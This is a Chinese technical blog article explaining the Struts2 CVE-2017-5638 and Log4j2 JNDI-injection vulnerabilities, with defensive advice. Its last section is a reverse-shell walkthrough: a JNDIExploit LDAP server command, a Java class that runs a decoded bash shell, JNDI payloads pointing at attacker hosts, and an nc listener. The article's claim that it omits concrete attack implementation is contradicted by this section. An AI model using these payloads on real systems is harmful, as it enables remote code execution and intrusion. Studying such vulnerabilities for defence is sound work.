【HW系列】—web组件漏洞(Strtus2和Apache Log4j2)

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Struts2
    • [Struts2 框架介绍](#Struts2 框架介绍)
    • [Struts2 历史漏洞汇总(表格)](#Struts2 历史漏洞汇总(表格))
    • [Struts2-045 漏洞详解](#Struts2-045 漏洞详解)
  • Log4j2
    • [Log4j2 框架介绍](#Log4j2 框架介绍)
    • [Log4j2 漏洞原理](#Log4j2 漏洞原理)
        • [1. JNDI 注入](#1. JNDI 注入)
        • [2. 利用过程](#2. 利用过程)
    • [Log4j2 历史漏洞](#Log4j2 历史漏洞)
    • [JNDI+LDAP 反弹 Shell 流程](#JNDI+LDAP 反弹 Shell 流程)

Struts2

Struts2 框架介绍

Apache Struts2 是一个基于 MVC 设计模式的开源 Web 应用框架,广泛应用于企业级开发。其核心特点包括:

  • 灵活的请求处理:通过拦截器机制动态处理用户请求,支持 RESTful API。
  • 扩展性强:支持插件机制(如文件上传、JSON 解析)。
  • 安全风险:历史版本因设计缺陷(如输入验证缺失、危险函数滥用)多次曝出高危漏洞。

Struts2 历史漏洞汇总(表格)

注:更多漏洞可参考 Apache Struts2 官方安全公告。


Struts2-045 漏洞详解

1. 简介

Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 远程代码执行漏洞,因 Jakarta 文件上传插件对 Content-Type 头 未严格校验,攻击者可构造恶意 HTTP 请求头注入 OGNL 表达式,导致目标服务器执行任意命令。
2. 影响范围

  • 受影响版本:
    • Struts 2.3.5--2.3.31
    • Struts 2.5--2.5.10
  • 典型场景:使用 Struts2 框架的文件上传功能且未升级补丁的 Web 应用。

Log4j2

Log4j2 框架介绍

Apache Log4j2 是 Java 生态中广泛使用的 日志记录库,支持动态配置、多输出源(文件、控制台、数据库等)和日志级别管理。其核心功能包括:

  • 高性能异步日志:适用于高并发场景。
  • 插件化架构:支持自定义 Appender、Filter 等组件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心机制:Log4j2 的 Lookup 功能允许通过 ${jndi:ldap://attacker.com/exp} 解析动态内容。
  • 漏洞触发:当应用程序记录包含恶意 JNDI 表达式的日志时,Log4j2 会通过 JNDI 协议(LDAP/RMI)请求远程资源,加载并执行攻击者部署的恶意类文件。
2. 利用过程
  1. 构造恶意请求:攻击者发送包含 ${jndi:ldap://恶意服务器/exp} 的日志内容(如 HTTP 请求头)。
  2. 触发解析:Log4j2 解析该内容,向 LDAP/RMI 服务器发起请求。
  3. 加载恶意类:恶意服务器返回指向远程 HTTP 服务的 Reference 对象,客户端下载并执行恶意类文件。

Log4j2 历史漏洞


JNDI+LDAP 反弹 Shell 流程

  1. 搭建恶意 LDAP 服务器:
    • 使用工具(如 JNDIExploit)启动 LDAP 服务,并绑定指向恶意类的 URL。
bash 复制代码
java -jar JNDIExploit-1.2.jar -i 攻击者IP -p 1389  
  1. 生成恶意类文件:
    • 编写包含反弹 Shell 代码的 Java 类(如 Exploit.java),编译后托管在 HTTP 服务器。
java 复制代码
public class Exploit {  
    static {  
        try {  
            Runtime.getRuntime().exec("bash -c {echo,base64编码的Shell命令} | base64 -d | bash");  
        } catch (Exception e) {}  
    }  
}  
  1. 构造 Payload:
    • 发送包含 ${jndi:ldap://攻击者IP:1389/Exploit} 的请求至目标应用。
  2. 触发漏洞:
    • 目标服务器解析 Payload,从 LDAP 服务器获取恶意类地址并加载执行,反弹 Shell 至攻击者监听端口。
  3. 接收 Shell:
bash 复制代码
nc -lvnp 监听端口  

防御建议:

  • 升级 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置网络防火墙限制外连请求,使用 WAF 拦截恶意特征。

注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

相关推荐
lsec2 分钟前
内存加载带有TLS的DLL的问题分析
windows·安全
Endeavour_T2 分钟前
ECharts图表怎么做自适应?
前端·echarts
bo521002 分钟前
浏览器缓存优先级
前端·面试·浏览器
namehu3 分钟前
浏览器中的扫码枪:从需求到踩坑再到优雅解决
前端·react.js
opbr4 分钟前
🚫🔨 不用重构!教你用 Vue3 + TSX 🧹优雅收纳后台页面一堆操作按钮
前端·vue.js
G等你下课9 分钟前
使用 Cookie 实现登录登出功能案例
前端·后端
西瓜树枝14 分钟前
antd vue全局自定义样式前缀实践
前端·vue.js
前端进阶者15 分钟前
地图坐标系转换JS库
前端·javascript
蛙哇15 分钟前
Pinia 核心源码简易实现
前端
飞天牛牛15 分钟前
Shell 脚本里 nvm 不识别,node 却能用?原理与最佳实践
前端